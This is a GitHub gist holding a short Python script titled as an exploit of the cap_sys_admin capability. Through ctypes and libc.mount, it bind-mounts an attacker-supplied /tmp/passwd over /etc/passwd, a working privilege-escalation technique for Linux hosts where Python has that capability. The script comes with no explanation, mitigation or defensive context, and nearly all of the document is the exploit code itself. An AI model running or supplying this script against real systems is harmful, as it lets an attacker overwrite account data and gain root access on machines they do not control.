Skip to content

Instantly share code, notes, and snippets.

@GugSaas
Created December 30, 2022 15:33
Show Gist options
  • Save GugSaas/70ddcd882633cf36e3b232fc7d3745cb to your computer and use it in GitHub Desktop.
Save GugSaas/70ddcd882633cf36e3b232fc7d3745cb to your computer and use it in GitHub Desktop.
Exploit python capabilities "cap_sys_admin+ep"
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/tmp/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment